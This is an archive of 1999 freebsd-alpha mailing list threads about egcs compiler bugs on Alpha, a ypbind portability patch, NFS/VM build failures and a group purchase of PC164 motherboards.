But make world/kernel with '-O2 -mcpu=ev56' seems to work fine.

BTW, I have trouble with stack trace in GDB/DDB.
I think you can reproduce the problem easily in DDB.

[send break]
Stopped at      siointr1+0xcc:  br      zero,siointr1+0x1fc <zero=0x0>
db> trace
siointr1() at siointr1+0xcc
siointr() at siointr+0x14
siointr() at siointr+0x14
siointr() at siointr+0x14
siointr() at siointr+0x14
siointr() at siointr+0x14
siointr() at siointr+0x14
... [continue forever until you reset the machine]

Stack frame might be changed in egcs, but I don't know how to fix.

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It is good to see the new unaligned access handling sysctl's!
However, I don't think they are being initialized the way you
intended.. On a freshly booted system:

broil# sysctl -a | grep unaligned
machdep.unaligned_print: 0
machdep.unaligned_fix: 0
machdep.unaligned_sigbus: 0

I'm not sure why unaligned_print & unaligned_fix are off (I suspect
they aren't really being initialized).  Having them off causes ypbind to die
with a bus error..  For now, I've initialized them in the variable
declarations to restore the previous behaviour.

Drew

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Matthew Jacob writes:
 > 
 > *after* the VM patch, I still get:
 > 
 >  make depend && make
 > cc -c -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
 > opt_global.h  -UKERNEL ../../alpha/alpha/genassym.c
 > cc -static -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
 > opt_global.h  genassym.o -o genassym
 > ./genassym >assym.s
 > Illegal instruction - core dumped
 > *** Error code 132
 > 
 > Stop.
 > farrago.feral.com > uname -a
 > FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12
 > 23:02:43 PDT 1999     mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO
 > alpha
 > 
 > (same source builds in local or mfs based filesystems fine)
 > 
 > 
 > Anybody else still having NFS problems with alpha?

If the VM patch you mean is #if'ing out the pmap_zero_page_area()
calls in vm_page_set_validclean(), then no.  I've just built one
kernel on a client with the patch, running -current as of 5am EDT.
The build directory was clean, and mounted (along with all of
/usr/src) from a 300Mhz PII server running FreeBSD-current as of March
25th or so.

Drew

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At Tue, 13 Apr 1999 10:49:36 -0400 (EDT),
Andrew Gallatin <gallatin@cs.duke.edu> wrote:
> 
> 
> It is good to see the new unaligned access handling sysctl's!
> However, I don't think they are being initialized the way you
> intended.. On a freshly booted system:
> 
> broil# sysctl -a | grep unaligned
> machdep.unaligned_print: 0
> machdep.unaligned_fix: 0
> machdep.unaligned_sigbus: 0
> 
> I'm not sure why unaligned_print & unaligned_fix are off (I suspect
> they aren't really being initialized).  Having them off causes ypbind to die
> with a bus error..  For now, I've initialized them in the variable
> declarations to restore the previous behaviour.

Oops, sorry.  In my running kernel, they are initialized, but
I removed it just before I commit it because I thought SYSCTL_INT
will initialize them X-<. It must be wrong. I will commit
the fix to restore previous behaviour.

I have ypbind patch, I should commit this too...

/\ Hidetoshi Shimokawa
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Index: ypbind.c
===================================================================
RCS file: /pub/FreeBSD-CVS/src/usr.sbin/ypbind/ypbind.c,v
retrieving revision 1.28
diff -u -r1.28 ypbind.c
--- ypbind.c	1999/02/10 20:04:22	1.28
+++ ypbind.c	1999/02/11 13:08:06
@@ -230,7 +230,7 @@
 
 	res.ypbind_status = YPBIND_SUCC_VAL;
 	res.ypbind_resp_u.ypbind_error = 0; /* Success */
-	*(u_long *)&res.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr =
+	*(u_int32_t *)&res.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr =
 		ypdb->dom_server_addr.sin_addr.s_addr;
 	*(u_short *)&res.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_port =
 		ypdb->dom_server_addr.sin_port;
@@ -283,7 +283,7 @@
 
 	bzero((char *)&bindsin, sizeof bindsin);
 	bindsin.sin_family = AF_INET;
-	bindsin.sin_addr.s_addr = *(u_long *)argp->ypsetdom_binding.ypbind_binding_addr;
+	bindsin.sin_addr.s_addr = *(u_int32_t *)argp->ypsetdom_binding.ypbind_binding_addr;
 	bindsin.sin_port = *(u_short *)argp->ypsetdom_binding.ypbind_binding_port;
 	rpc_received(argp->ypsetdom_domain, &bindsin, 1);
 
@@ -946,7 +946,7 @@
 
 	bzero(&ybr, sizeof ybr);
 	ybr.ypbind_status = YPBIND_SUCC_VAL;
-	*(u_long *)&ybr.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr = raddrp->sin_addr.s_addr;
+	*(u_int32_t *)&ybr.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr = raddrp->sin_addr.s_addr;
 	*(u_short *)&ybr.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_port = raddrp->sin_port;
 
 	if( writev(ypdb->dom_lockfd, iov, 2) != iov[0].iov_len + iov[1].iov_len) {




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>  > *after* the VM patch, I still get:
>  > 
>  >  make depend && make
>  > cc -c -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
>  > opt_global.h  -UKERNEL ../../alpha/alpha/genassym.c
>  > cc -static -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
>  > opt_global.h  genassym.o -o genassym
>  > ./genassym >assym.s
>  > Illegal instruction - core dumped
>  > *** Error code 132
>  > 
>  > Stop.
>  > farrago.feral.com > uname -a
>  > FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12
>  > 23:02:43 PDT 1999     mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO
>  > alpha
>  > 
>  > (same source builds in local or mfs based filesystems fine)
>  > 
>  > 
>  > Anybody else still having NFS problems with alpha?
> 
> If the VM patch you mean is #if'ing out the pmap_zero_page_area()
> calls in vm_page_set_validclean(), then no.  I've just built one
> kernel on a client with the patch, running -current as of 5am EDT.
> The build directory was clean, and mounted (along with all of
> /usr/src) from a 300Mhz PII server running FreeBSD-current as of March
> 25th or so.
> 

Hmm. I wonder what's going on then? Well, I'll look at it again tonite...




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Hidetoshi Shimokawa writes:
 > > I'm not sure why unaligned_print & unaligned_fix are off (I suspect
 > > they aren't really being initialized).  Having them off causes ypbind to die
 > > with a bus error..  For now, I've initialized them in the variable
 > > declarations to restore the previous behaviour.
 > 
 > Oops, sorry.  In my running kernel, they are initialized, but
 > I removed it just before I commit it because I thought SYSCTL_INT
 > will initialize them X-<. It must be wrong. I will commit
 > the fix to restore previous behaviour.
 > 

I think its supposed to, but I'm not familiar enough with the
interface to know for certain.   As I said before, I'm glad you're
tacking these (alignment, other userland) issues.

Drew
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dump, when built with egcs, creates unreadable backups on alphas.  Eg,
restore says:

#restore -ivf /var/tmp/image
Verify tape and initialize maps
Tape block size is 32
Tape is not a dump tape

When built on an older system, with gcc version 2.7.2.1, things work
as expected and usable backups created.

I'm fairly certain its egcs itself, because if I create the .o files
on a new system (-current as of last friday or so, with egcs as cc)
and link the binary on an older system (-current as of mid Jan., gcc
as cc), bad backups are created.  

I've tried backing down to -O0, which doesn't seem to help.

Can a toolchain wizzard please look into this?

Thanks,

Drew

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    I missed one.  Also try #if 0'ing out the pmap_zero_page_area()
    call in vm_page_zero_invalid(), also in vm/vm_page.c.

    I'm working on a more permanent fix but it is not trivial enough
    to post at the moment.  Basically, the problem is that NFS's piecemeal
    writes confuse the VM system.  The new code that zeros invalid portions
    of buffers, that the temporary patch #if 0's out, is stomping on pieces
    of the NFS system.  The bug is in NFS, though, not the new code.

					-Matt
					Matthew Dillon 
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:*after* the VM patch, I still get:
:
: make depend && make
:cc -c -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
:opt_global.h  -UKERNEL ../../alpha/alpha/genassym.c
:cc -static -nostdinc -I- -I. -I../.. -I/usr/include  -DKERNEL -include
:opt_global.h  genassym.o -o genassym
:./genassym >assym.s
:Illegal instruction - core dumped
:*** Error code 132
:
:Stop.
:farrago.feral.com > uname -a
:FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12
:23:02:43 PDT 1999     mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO
:alpha
:
:(same source builds in local or mfs based filesystems fine)
:
:
:Anybody else still having NFS problems with alpha?
:
:
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> > I downloaded the 4.0-19990316 src a while ago.
> > now when i try to make buildworld it fails with these lines
> 
> Can you retry with today's current. We no longer have gcc in the tree
> since we have switch over to egcs.

Peachy.

http://www.cco.caltech.edu/~jafl/jx/egcs_complain.html


| Give Mike Stump credit for having the right attitude, even if he
| doesn't have any power to enforce it:
|
| If this is the bug I think it is, H.J. Lu broke your code, and checked in: 
|
|      Wed Aug 27 01:24:25 1997 H.J. Lu (hjl@gnu.ai.mit.edu) 
|
|             config/linux.h (DEFAULT_VTABLE_THUNKS): New. Defined as 1 if
|	      USE_GNULIBC_1 is not defined. 
| 
|       I knew it would break your code, and told him `Some users will
|       expect this testcase to work. The failure mode of this with
|       thunks is particularly bad as the this pointer will be wrong
|	at times, and that shift can cause all sorts of very hard to
|	figure out problems' (see message 1997-Aug/0668). 
| 
|       My preference was for people to finish off the implementation
|	of thunks, and then if they are a codegen win, to default all
|	architectures over to thunks. 
| 
|       > What does ANSI C++ standard say we should get? It mandates
|	> that the test work. 
| 	>
|       > Does this mean it will be fixed in egcs-1.1? 
| 
|       Nope, not unless someone steps forward to fix it. People have
|	know about it for about a year, and it remains unfixed. 


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On Tue, 13 Apr 1999, Hidetoshi Shimokawa wrote:

> At Sun, 11 Apr 1999 19:26:49 +0100 (BST),
> Doug Rabson <dfr@nlsystems.com> wrote:
> > > I'm going to make world/kernel with '-Os -mcpu=ev56'.
> > 
> > That might be interesting..
> 
> I couldn't finish make world with '-Os -mcpu=ev56" because bison 
> run forever. And the kernel built with the option was unstable.
> But make world/kernel with '-O2 -mcpu=ev56' seems to work fine.
> 
> BTW, I have trouble with stack trace in GDB/DDB.
> I think you can reproduce the problem easily in DDB.
> 
> [send break]
> Stopped at      siointr1+0xcc:  br      zero,siointr1+0x1fc <zero=0x0>
> db> trace
> siointr1() at siointr1+0xcc
> siointr() at siointr+0x14
> siointr() at siointr+0x14
> siointr() at siointr+0x14
> siointr() at siointr+0x14
> siointr() at siointr+0x14
> siointr() at siointr+0x14
> ... [continue forever until you reset the machine]
> 
> Stack frame might be changed in egcs, but I don't know how to fix.

The backtrace code in DDB is somewhat fragile. It has to parse the
function prologue to figure out where the return address is. I expect egcs
has changed the prologue.  GDB does something similar; hopefully it will
be fixed in gdb-4.18.

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: From: "Bruce M. Walter" <walter@fortean.com>
> To: "Gooderum, Mark" <mark@jumpweb.com>
>
> See the 'My Multia doubles as a space heater' section of:
>
> ftp://ftp.tuwien.ac.at/opsys/aux/netbsd/htdocs/Ports/alpha/multiafaq.html
>
> for lots of good Multia info along with the part numbers for several fans
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I'm confused, since both you and your receipients are in the US, why did
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Why not just use the main site?

	www.netbsd.org/Ports/alpha/...

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Wilko,
	can i still get in on this purchase?

	i would like to get 2 boards with cpus and 2 powwe supplies.

jmb


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On Wed, 14 Apr 1999, Jonathan M. Bresler wrote:

> 
> Wilko,
> 	can i still get in on this purchase?
> 
> 	i would like to get 2 boards with cpus and 2 powwe supplies.

I wrote to Thor Lancelot Simon <tls@rek.tjls.com>, who was the guy who
had the boards, on Tuesday.  No reply yet.  I wanted just one of the
same deal.

> 
> jmb
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A store near me has/had these boards with a 500 mhz chip for $250. They also
have/had the pc164lx with a 533 chip for $800, which is what im planning to
get. If any of you want the pc164's with chips for 250 plus shipping let me
know and i can check if the place still has them.

WK


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> 
> On Wed, 14 Apr 1999, Jonathan M. Bresler wrote:
> 
> > 
> > Wilko,
> > 	can i still get in on this purchase?
> > 
> > 	i would like to get 2 boards with cpus and 2 powwe supplies.
> 
> I wrote to Thor Lancelot Simon <tls@rek.tjls.com>, who was the guy who
> had the boards, on Tuesday.  No reply yet.  I wanted just one of the
> same deal.
> 
> > 
> > jmb
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so whats the catch on these $250 boards?  is there no on board cache?
these are the 21164PC chips right?  so they lack the onchip 96k l2, but
is there any cache on the board?

nick

At 09:35 AM 4/14/99 -0400, Koscielny, Wally wrote:
>A store near me has/had these boards with a 500 mhz chip for $250. They also
>have/had the pc164lx with a 533 chip for $800, which is what im planning to
>get. If any of you want the pc164's with chips for 250 plus shipping let me
>know and i can check if the place still has them.
>
>WK



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There is 1 MB of cache and they dont lack onchip cache either. Yes they are
21164 chips. The 164LX has 2 MB. I myself am prolly gonna get that one if
they still have them.
Theres really no catch. but im not sure if they are still available.

WK


> -----Original Message-----
> From:	nm [SMTP:nmanisca@vt.edu]
> Sent:	Wednesday, April 14, 1999 9:51 AM
> To:	freebsd-alpha@FreeBSD.ORG
> Subject:	RE: many cheap PC164 boards -- gret for NetBSD (fwd)
> 
> so whats the catch on these $250 boards?  is there no on board cache?
> these are the 21164PC chips right?  so they lack the onchip 96k l2, but
> is there any cache on the board?
> 
> nick
> 
> At 09:35 AM 4/14/99 -0400, Koscielny, Wally wrote:
> >A store near me has/had these boards with a 500 mhz chip for $250. They
> also
> >have/had the pc164lx with a 533 chip for $800, which is what im planning
> to
> >get. If any of you want the pc164's with chips for 250 plus shipping let
> me
> >know and i can check if the place still has them.
> >
> >WK
> 
> 
> 
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I called up and they said they are currently sold out but are expecting a
shipment in the near future. I asked if there is anything wrong with the
boards or chips and they said that they are guaranteed against DOA. However,
they do need some special power supply which is like $100. But, that goes
for all of these PC164 boards.

WK


> -----Original Message-----
> From:	Chuck Robey [SMTP:chuckr@picnic.mat.net]
> Sent:	Wednesday, April 14, 1999 9:13 AM
> To:	Jonathan M. Bresler
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> Subject:	Re: many cheap PC164 boards -- gret for NetBSD (fwd)
> 
> On Wed, 14 Apr 1999, Jonathan M. Bresler wrote:
> 
> > 
> > Wilko,
> > 	can i still get in on this purchase?
> > 
> > 	i would like to get 2 boards with cpus and 2 powwe supplies.
> 
> I wrote to Thor Lancelot Simon <tls@rek.tjls.com>, who was the guy who
> had the boards, on Tuesday.  No reply yet.  I wanted just one of the
> same deal.
> 
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> > jmb
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> I'm confused, since both you and your receipients are in the US, why did
> you direct him and everyone all the way to the Austrian NetBSD mirror site?
> Why not just use the main site?

Because, when you're sifting through hundreds and hundreds of links
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However, if you're offering optimizing my bookmarks as a free service, I'm
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	Wanted to make sure, FreeBSD will run on an NT only 21164 cpu right
? I was told that it would, but I wanted to check with the experts :)
	BTW, if it could, are there any disadvantages to doing this ?

	Thank You In Advance,
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Could someone point me to some online resources for setting an external
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raising the issue for anyone with concerns


---------- Forwarded message ----------
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I just found this on the openvms page:

   (http://www.openvms.digital.com/openvms/21264_CONSIDERATIONS.html)


   Ensuring Proper Use of Interlocked Memory Instructions

   The Alpha Architecture Reference Manual, Third Edition (AARM)
   describes strict rules for using interlocked memory
   instructions. The forthcoming Alpha 21264 (EV6) processor and all
   future Alpha processors are more stringent than their predecessors
   in their requirement that these rules be followed. As a result,
   code that has worked in the past despite noncompliance may now fail
   when executed on systems featuring the new 21264 processor.

Does anyone know if this is relevant to gcc on linux?  The above page
includes a tool which finds inconsistencies in a binary (on VMS
systems, of course):

   http://www.openvms.digital.com/openvms/srm_check.exe

Does anyone know if such a thing is needed and/or available for Linux?
I didn't find any such caveats on the "Tru64 Unix" pages.

-- 
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thanks for the heads up
i'll see what he says.

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> A store near me has/had these boards with a 500 mhz chip for $250. They also
> have/had the pc164lx with a 533 chip for $800, which is what im planning to
> get. If any of you want the pc164's with chips for 250 plus shipping let me
> know and i can check if the place still has them.

Please find out how many are available - we (the project) would love
to buy about 5 of them and make complete systems out of them for
developers. We've also mailed Thor, but I don't know if we've gotten
a reply yet.

- Jordan


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On Wed, Apr 14, 1999 at 10:49:08AM -0700, Jordan K. Hubbard wrote:
> > A store near me has/had these boards with a 500 mhz chip for $250. They also
> > have/had the pc164lx with a 533 chip for $800, which is what im planning to
> > get. If any of you want the pc164's with chips for 250 plus shipping let me
> > know and i can check if the place still has them.
> 
> Please find out how many are available - we (the project) would love
> to buy about 5 of them and make complete systems out of them for
> developers. We've also mailed Thor, but I don't know if we've gotten
> a reply yet.

Sorry for the lack of response -- as I told Wilko, I didn't anticipate that
he'd forward my email to the FreeBSD list, and I've been trying to pin down
exactly how many boards I _can_ get, due to the unanticipated extra demand;
the larger number of boards has also meant that I may have a cash-flow issue
unless I can negotiate the price down enough.  I expected to buy about 25-30;
now, with massive demand from NetBSD/alpha folks (these are very popular for
servers, since they're very stable and if you put 8 SIMMs in them they have
more memory bandwidth than the LX boards, too) and the additional FreeBSD
people, it looks like I'm going to end up needing at least 60, possibly more.

I've been discussing all this with the vendor and will mail out an update
within a few days, probably by Monday at the latest.

Thor

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They only have one 164LX+533 left for $800 which I bought. The salesman said
that they get shipments of 25 and next shipment should be due soon. He will
contact me when they get the shipment.

BTW_What is the retail value of these boards+chips (both the PC164+500 and
PC164+533)

WK


> -----Original Message-----
> From:	Jordan K. Hubbard [SMTP:jkh@zippy.cdrom.com]
> Sent:	Wednesday, April 14, 1999 1:49 PM
> To:	Koscielny, Wally
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> 
> > A store near me has/had these boards with a 500 mhz chip for $250. They
> also
> > have/had the pc164lx with a 533 chip for $800, which is what im planning
> to
> > get. If any of you want the pc164's with chips for 250 plus shipping let
> me
> > know and i can check if the place still has them.
> 
> Please find out how many are available - we (the project) would love
> to buy about 5 of them and make complete systems out of them for
> developers. We've also mailed Thor, but I don't know if we've gotten
> a reply yet.
> 
> - Jordan
> 
> 
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> > A store near me has/had these boards with a 500 mhz chip for $250. They also
> > have/had the pc164lx with a 533 chip for $800, which is what im planning to
> > get. If any of you want the pc164's with chips for 250 plus shipping let me
> > know and i can check if the place still has them.
> 
> Please find out how many are available - we (the project) would love
> to buy about 5 of them and make complete systems out of them for
> developers. We've also mailed Thor, but I don't know if we've gotten
> a reply yet.

Thor said he's been utterly swamped with requests for these boards, and 
isn't sure he can make our requested quantity.  I'm waiting to hear 
back from him at the moment - he was going to check the total quantity 
available and try to allocate them, etc.

Somehow I get the impression he was surprised at the level of interest. 
8)

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On Wed, 14 Apr 1999, Jordan K. Hubbard wrote:

> > A store near me has/had these boards with a 500 mhz chip for $250.
> > They also have/had the pc164lx with a 533 chip for $800, which is
> > what im planning to get. If any of you want the pc164's with chips
> > for 250 plus shipping let me know and i can check if the place
> > still has them.

Am I missing something?  $250 for a 500MHz system but you'd rather pay
$800 for a 533 system, that someone told me wasn't really as good as the
plain PC164?  I'm missing something, please, could you enlighten me?

It *seems* pretty strange.

> 
> Please find out how many are available - we (the project) would love
> to buy about 5 of them and make complete systems out of them for
> developers. We've also mailed Thor, but I don't know if we've gotten
> a reply yet.
> 
> - Jordan
> 
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On Wed, Apr 14, 1999 at 02:02:40PM -0400, Koscielny, Wally wrote:
> They only have one 164LX+533 left for $800 which I bought. The salesman said
> that they get shipments of 25 and next shipment should be due soon. He will
> contact me when they get the shipment.
> 
> BTW_What is the retail value of these boards+chips (both the PC164+500 and
> PC164+533)

My vendor tells me that if you put the 533Mhz part on a PC164 board, it will
only run at 500MHz.  So that's something to be aware of.  I have limited
experience in replacing the oscillators on these boards (to *down* clock
them, in my case, so I could recover from a nasty firmware flash utility bug
by using the SROM debugger, which doesn't autobaud right at higher clock
rates) and while it's probably not too hard, I think you'd have significant
trouble getting the oscillator you need to do it, I got a few leftover
samples from a research lab, but minimum orders for the parts are usually in
the thousands.

(Hm, that was for a PC64, actually -- but somehow I suspect it'd be similar
 for the PC164, though I've never tried it.)

FWIW, nb01.netbsd.org was formerly a personal machine of mine, and was for a
time the office fileserver, development build box, and firewall (we had a
power hit that ruined *all* these separate machines, so I dragged the
Alpha in from home to replace several high-end PPro boxes :-) at an employer
of mine, where it ran for about four months before we could replace it.  That
was almost two years ago, but that box (a 433MHz PC164 from Microway) cost me
about $2500 bare.

I'm not sure there *is* a "retail value" of these boards now, since they're
no longer made (and the Samsung equivalents that are still in production
won't run SRM, so you can't get the UNIX PALcode to run NetBSD on them) but
I would probably have bought one at $800-$1000 and thought I'd got a decent
deal, if I hadn't managed to set up the bulk order.

Thor


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> Sorry for the lack of response -- as I told Wilko, I didn't anticipate that
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> exactly how many boards I _can_ get, due to the unanticipated extra demand;
> the larger number of boards has also meant that I may have a cash-flow issue
> unless I can negotiate the price down enough.  I expected to buy about 25-30;

Understood, and if you need some money up-front, we can take care of
this too.

- Jordan


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> My vendor tells me that if you put the 533Mhz part on a PC164 board, it will
> only run at 500MHz.  So that's something to be aware of.  I have limited
> experience in replacing the oscillators on these boards (to *down* clock
> them, in my case, so I could recover from a nasty firmware flash utility bug
> by using the SROM debugger, which doesn't autobaud right at higher clock
> rates) and while it's probably not too hard, I think you'd have significant
> trouble getting the oscillator you need to do it, I got a few leftover
> samples from a research lab, but minimum orders for the parts are usually in
> the thousands.

Just as a datapoint; my previous employer regularly used to buy
custom-cut oscillators in the 5-10 off range.  For a one-off you're 
probably looking at a couple weeks wait and maybe US$20-50 depending on 
the supplier (all of ours were in Australia).

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Here are the specs for both the boards in question:

PC164 + 500 Mhz.
Supports CPU speeds up to 500MHz 
16MB to 512MB FPM memory array one bank of either 4 (128-bit) or 8 (256-bit)
commodity, 36-bit, 70ns SIMMs
1MB, direct-mapped L3 cache Synchronous SRAM backup cache with 128-bit data
path 
ATX Form Factor Fits standard ATX case, but requires a hard-switched ATX
power supply

PC164LX + 533 Mhz.
Supports CPU speeds up to 600Mhz
32MB to 512MB memory ECC SDRAM (undocumented support to 1 GB)
2MB cache size, using 128K X 18SSRAMs 
ATX Form Factor Fits standard ATX case and standard ATX power supply

The chips are pretty much the same except one is 33 Mhz. faster.
The LX board is still supported by Compaq/DEC

Since the special power supply is 100.00 I rather just spend the extra money
and get a better board and a faster chip.

Here are some bogomips measurements i just grabbed off the net:

21164/500 PC164         497.02  
21164A/533  PC164LX     530.57

WK



> -----Original Message-----
> From:	Chuck Robey [SMTP:chuckr@picnic.mat.net]
> Sent:	Wednesday, April 14, 1999 2:16 PM
> To:	Jordan K. Hubbard
> Cc:	Koscielny, Wally; freebsd-alpha@FreeBSD.ORG
> Subject:	Re: many cheap PC164 boards -- gret for NetBSD (fwd) 
> 
> On Wed, 14 Apr 1999, Jordan K. Hubbard wrote:
> 
> > > A store near me has/had these boards with a 500 mhz chip for $250.
> > > They also have/had the pc164lx with a 533 chip for $800, which is
> > > what im planning to get. If any of you want the pc164's with chips
> > > for 250 plus shipping let me know and i can check if the place
> > > still has them.
> 
> Am I missing something?  $250 for a 500MHz system but you'd rather pay
> $800 for a 533 system, that someone told me wasn't really as good as the
> plain PC164?  I'm missing something, please, could you enlighten me?
> 
> It *seems* pretty strange.
> 
> > 
> > Please find out how many are available - we (the project) would love
> > to buy about 5 of them and make complete systems out of them for
> > developers. We've also mailed Thor, but I don't know if we've gotten
> > a reply yet.
> > 
> > - Jordan
> > 
> > 
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My mistake thats PC164LX with the 533 and PC164 with the 500. Sorry about
the typo

> -----Original Message-----
> From:	Thor Lancelot Simon [SMTP:tls@rek.tjls.com]
> Sent:	Wednesday, April 14, 1999 2:21 PM
> To:	Koscielny, Wally
> Cc:	freebsd-alpha@FreeBSD.ORG
> Subject:	Re: many cheap PC164 boards -- gret for NetBSD (fwd)
> 
> On Wed, Apr 14, 1999 at 02:02:40PM -0400, Koscielny, Wally wrote:
> > They only have one 164LX+533 left for $800 which I bought. The salesman
> said
> > that they get shipments of 25 and next shipment should be due soon. He
> will
> > contact me when they get the shipment.
> > 
> > BTW_What is the retail value of these boards+chips (both the PC164+500
> and
> > PC164+533)
> 
> My vendor tells me that if you put the 533Mhz part on a PC164 board, it
> will
> only run at 500MHz.  So that's something to be aware of.  I have limited
> experience in replacing the oscillators on these boards (to *down* clock
> them, in my case, so I could recover from a nasty firmware flash utility
> bug
> by using the SROM debugger, which doesn't autobaud right at higher clock
> rates) and while it's probably not too hard, I think you'd have
> significant
> trouble getting the oscillator you need to do it, I got a few leftover
> samples from a research lab, but minimum orders for the parts are usually
> in
> the thousands.
> 
> (Hm, that was for a PC64, actually -- but somehow I suspect it'd be
> similar
>  for the PC164, though I've never tried it.)
> 
> FWIW, nb01.netbsd.org was formerly a personal machine of mine, and was for
> a
> time the office fileserver, development build box, and firewall (we had a
> power hit that ruined *all* these separate machines, so I dragged the
> Alpha in from home to replace several high-end PPro boxes :-) at an
> employer
> of mine, where it ran for about four months before we could replace it.
> That
> was almost two years ago, but that box (a 433MHz PC164 from Microway) cost
> me
> about $2500 bare.
> 
> I'm not sure there *is* a "retail value" of these boards now, since
> they're
> no longer made (and the Samsung equivalents that are still in production
> won't run SRM, so you can't get the UNIX PALcode to run NetBSD on them)
> but
> I would probably have bought one at $800-$1000 and thought I'd got a
> decent
> deal, if I hadn't managed to set up the bulk order.
> 
> Thor
> 
> 
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On Wed, 14 Apr 1999 14:26:25 -0400 
 "Koscielny, Wally" <Wally.Koscielny@gs.com> wrote:

 > Since the special power supply is 100.00 I rather just spend the extra money
 > and get a better board and a faster chip.

...except the PC164 has more memory bandwidth if you fill the SIMM
slots than the PC164LX.  To me, the PC164 is a "better board" for that
reason :-)

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On Wed, Apr 14, 1999 at 02:59:19PM -0700, Jason Thorpe wrote:
> On Wed, 14 Apr 1999 14:26:25 -0400 
>  "Koscielny, Wally" <Wally.Koscielny@gs.com> wrote:
> 
>  > Since the special power supply is 100.00 I rather just spend the extra money
>  > and get a better board and a faster chip.
> 
> ...except the PC164 has more memory bandwidth if you fill the SIMM
> slots than the PC164LX.  To me, the PC164 is a "better board" for that
> reason :-)

Not quite so notoriously buggy, either -- though that shouldn't be an issue
with a late-production 164LX board.

It occurs to me that there's quite a bit on these boards at
"http://www.netbsd.org/Ports/alpha/models.html#EB164-family Systems" --
there's text there which Ross and I wrote which pretty much delineates the
differences between all of the EB164-family OEM systems.



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>On Wed, Apr 14, 1999 at 02:59:19PM -0700, Jason Thorpe wrote:
>> On Wed, 14 Apr 1999 14:26:25 -0400 
>>  "Koscielny, Wally" <Wally.Koscielny@gs.com> wrote:
>> 
>>  > Since the special power supply is 100.00 I rather just spend the extra mo
ney
>>  > and get a better board and a faster chip.
>> 
>> ...except the PC164 has more memory bandwidth if you fill the SIMM
>> slots than the PC164LX.  To me, the PC164 is a "better board" for that
>> reason :-)
>
>Not quite so notoriously buggy, either -- though that shouldn't be an issue
>with a late-production 164LX board.

Actually, even on the later revision boards I think the PCI is broken with
the LX.  I believe it was fixed on the miatas, but even the rev c alphapc's
are still broke.

Chris




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On Wed, 14 Apr 1999 20:03:30 -0500 
 Chris Csanady <cc@137.org> wrote:

 > Actually, even on the later revision boards I think the PCI is broken with
 > the LX.  I believe it was fixed on the miatas, but even the rev c alphapc's
 > are still broke.

According to my Pyxis manual, the AlphaPC 164LX contains the recommended
workaround for the DMA prefetch bug.

        -- Jason R. Thorpe <thorpej@nas.nasa.gov>



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On Wed, 14 Apr 1999, Jason Thorpe wrote:

> On Wed, 14 Apr 1999 20:03:30 -0500 
>  Chris Csanady <cc@137.org> wrote:
> 
>  > Actually, even on the later revision boards I think the PCI is broken with
>  > the LX.  I believe it was fixed on the miatas, but even the rev c alphapc's
>  > are still broke.
> 
> According to my Pyxis manual, the AlphaPC 164LX contains the recommended
> workaround for the DMA prefetch bug.

Does the PC164 have this bug?  Is there a hardware or saftware
workaround, or does it cripple those boards for PCI?

> 
>         -- Jason R. Thorpe <thorpej@nas.nasa.gov>
> 
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>On Wed, 14 Apr 1999 20:03:30 -0500 
> Chris Csanady <cc@137.org> wrote:
>
> > Actually, even on the later revision boards I think the PCI is broken with
> > the LX.  I believe it was fixed on the miatas, but even the rev c alphapc's
> > are still broke.
>
>According to my Pyxis manual, the AlphaPC 164LX contains the recommended
>workaround for the DMA prefetch bug.

Is there a newer version of the board?  When I enabled the proper bits, the
machine became unstable..

Chris






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On Wednesday, 14 April 1999 at  9:13:11 -0400, Chuck Robey wrote:
> On Wed, 14 Apr 1999, Jonathan M. Bresler wrote:
>
>>
>> Wilko,
>> 	can i still get in on this purchase?
>>
>> 	i would like to get 2 boards with cpus and 2 powwe supplies.
>
> I wrote to Thor Lancelot Simon <tls@rek.tjls.com>, who was the guy who
> had the boards, on Tuesday.  No reply yet.  I wanted just one of the
> same deal.

I got a reply from Jason Thorpe telling me the error of my ways.  He
tells me that this was a *NetBSD* offer, and that Thor would not sell
a board to a FreeBSD user if they asked him for it.  I sincerely
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On Wed, 14 Apr 1999 20:31:52 -0500 
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 > >workaround for the DMA prefetch bug.
 > 
 > Is there a newer version of the board?  When I enabled the proper bits, the
 > machine became unstable..

Hm... maybe it was the PC164SX that has the fix... I'll look in my
Pyxis manual later (must catch the train soon).

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On Thu, 15 Apr 1999 11:06:34 +0930 
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 > a board to a FreeBSD user if they asked him for it.  I sincerely
 > regret my indiscretion and apologize to all who may have been offended
 > by it.

No, I didn't say that...

        -- Jason R. Thorpe <thorpej@nas.nasa.gov>



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> I got a reply from Jason Thorpe telling me the error of my ways.  He
> tells me that this was a *NetBSD* offer, and that Thor would not sell
> a board to a FreeBSD user if they asked him for it.  I sincerely
> regret my indiscretion and apologize to all who may have been offended
> by it.

This is really very silly- even if accurate and true that Thor is not
interesting in selling to non-NetBSD users/devlopers. Any assistance and
work for both projects ultimately aids both projects.



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On Wed, 14 Apr 1999 21:22:21 -0400 (EDT) 
 Chuck Robey <chuckr@picnic.mat.net> wrote:

 > > According to my Pyxis manual, the AlphaPC 164LX contains the recommended
 > > workaround for the DMA prefetch bug.
 > 
 > Does the PC164 have this bug?  Is there a hardware or saftware
 > workaround, or does it cripple those boards for PCI?

No, the PC164 doesn't have a Pyxis; it has an ALCOR2 (21172), IIRC.

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On Wed, Apr 14, 1999 at 06:48:31PM -0700, Jason Thorpe wrote:
> On Thu, 15 Apr 1999 11:06:34 +0930 
>  Greg Lehey <grog@lemis.com> wrote:
> 
>  > I got a reply from Jason Thorpe telling me the error of my ways.  He
>  > tells me that this was a *NetBSD* offer, and that Thor would not sell
